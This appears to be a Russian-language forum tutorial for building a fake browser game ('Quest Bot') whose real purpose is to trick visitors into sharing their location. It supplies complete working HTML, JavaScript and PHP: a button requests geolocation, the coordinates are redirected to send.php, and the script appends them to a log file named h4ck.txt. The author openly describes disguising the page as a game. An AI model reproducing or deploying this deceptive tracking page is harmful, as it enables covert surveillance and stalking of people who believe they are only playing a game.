определяем геолакацию

определяем геолакацию



Маскировать мы будем наш "проект" под якобы игру.

Итак, начнём.

Для начала создадим HTML страничку. (стили записал в HTML страницу, так что не пугайтесь. Просто "проект" был сделан чуть более года назад. Не исключено, что стили кривые)

Создаем файл index.html - это будет наша основа

<!DOCTYPE html>

<html>
    <head>
        <title>Quest Bot</title>
        <audio autoplay loop>
            <source src="main_theme.mp3" type="audio/mpeg">
        </audio>
        <script src="geo.js"> </script>
    </head>

    <body>
        <div class="background">
            <div class="BotInstruction"><b class="clr">Привет!</b><br>Для игры требуется ваше местоположение.<br>
                <button class="register" onclick="getLocation()">Найти меня</button>
                <div id="demo"></div>
            </div>
        </div>

    </body>
</html>   
    <style>
        .background{
            position:absolute;
            border:solid 1px green;
            width:98%;
            height:98%;
            background:url('gballs.gif') center no-repeat;
            background-size: 100%;
        }
        .clr{
            color: #5e81a8;
        }
        body{
            background-color:#333;
        }
        .BotInstruction{
            position: absolute;
            border: solid 1px green;
            left: 35%;
            top:40%;
            width: 30%;
        }
        .register{
            position: relative;
            left: 35%;
            background-color:#5e81a8;
            text-align: center;
            border:none;
            line-height: 15px;
             color: #fff;
            border-radius:2px;
            box-sizing: border-box;
            padding: 7px 16px 8px;
            font-size: 12.5px;
        }
    </style>




geo.js - будет запрашивать доступ на геолокацию

Код:

function getLocation() {
    x = document.getElementById("demo");
    if (navigator.geolocation) {
        navigator.geolocation.getCurrentPosition(showPosition);
    } else {
        x.innerHTML = "Geolocation is not supported by this browser.";
    }
}

function showPosition(position) {
    x.innerHTML = position.coords.latitude +"," +position.coords.longitude;
    location.replace("/send.php?login="+x.innerHTML);
}




send.php - отправка данных геолокации.

PHP:

<?php 

$Login = $_GET['login'];

$log=fopen("h4ck.txt","a"); //открываем файл h4ck.txt с правами "a" - запись

fwrite($log,"$Login\n");  //записываем в файл геолокацию

fclose($log); // закрываем файл

?>


И для того чтобы всё работало исправно скачайте вложение с музыкой и гифкой:

https://drive.google.com/open?id=1D9BqnQ6DkKryrQLruM9P1Nre9ogOKOYZ

Метод нубовый но все же работает.Изучайте языки програмирования и пилите свои скрипты.

Report Page